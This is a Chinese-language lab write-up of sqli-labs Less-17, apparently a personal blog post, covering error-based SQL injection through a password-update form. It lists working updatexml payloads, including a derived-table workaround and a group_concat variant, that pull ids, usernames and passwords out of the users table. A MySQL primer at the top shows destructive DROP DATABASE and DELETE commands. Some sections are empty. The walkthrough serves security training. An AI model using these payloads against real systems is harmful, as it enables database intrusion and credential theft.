sqlilabs靶场记录update型(三)
sqlilabs靶场记录update型(三)
mysql增删查改
增
增加一行数据:insert
insert into users values('15','test','test'); |
删
删数据:delete
delete from table_name; |
删结构:drop
删数据库: drop database 数据库名; |
改
修改:update
修改所有:update 表名 set 列名='新的值,非数字加单引号'; |
less-17基于错误的更新查询POST注入
这关的场景是登录后再修改密码界面注入,而非登录时
那么这里既然我们已经登录进去了,那么肯定知道一个用户名和密码吧.不然咋登进去的呢.这里我们使用dumb用户为例
这里的页面是进行密码修改,那么肯定会有对数据库里面密码数据的更新.而数据的更新肯定会用到update函数,但是改谁的密码呢,肯定也是需要查询的.
判断闭合方式
uname=Dumb & passwd=1 回显成功更改密码 |
这里有报错语句,且是单引号进行闭合
下面是查询username的源码
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; |
从这里我们可以看出,在接受用户名之后,会根据uname查询数据库的username和passwd,如果uname存在的话则用passwd替换password,并显示flag1.jpg若不存在则显示slap1.jpg,
在用户名正确之后,页面能够返回mysql的错误信息,这就可以利用子查询注入在错误信息中返回想要的数据,注意这里的报错语句实update语句,查询用户名语句已经执行完成,并返回成功了
子查询注入
用户名: |
updatexml()注入
数据库: |
爆数据时出现了错误
uname=Dumb&passwd=1' and updatexml(1,concat('#',(select concat(id,'#',username,'#',password) from users limit 0,1)),0) -- # |
不能在FROM子句中为update指定目标表“users”不能先select表中的某些值,再update这个表(在同一语句中)。
解决方法:将select出的结果作为派生表再select一遍,这样就规避了错误
uname=Dumb&passwd=1' and updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0) -- # |
这里的错误信息只显示了一部分,使用了limit偏移注入,所以没有一次性输出所有数据(但可以输出最大32个字符的数据,因updatexml最大爆32个字符),
uname=Dumb&passwd=1' and updatexml(1,concat('#',(select * from (select group_concat(concat_ws('#',id,username,password)) from users) a)),0) -- # |
extractvalue()注入
爆数据表: |
评论
ValineDisqus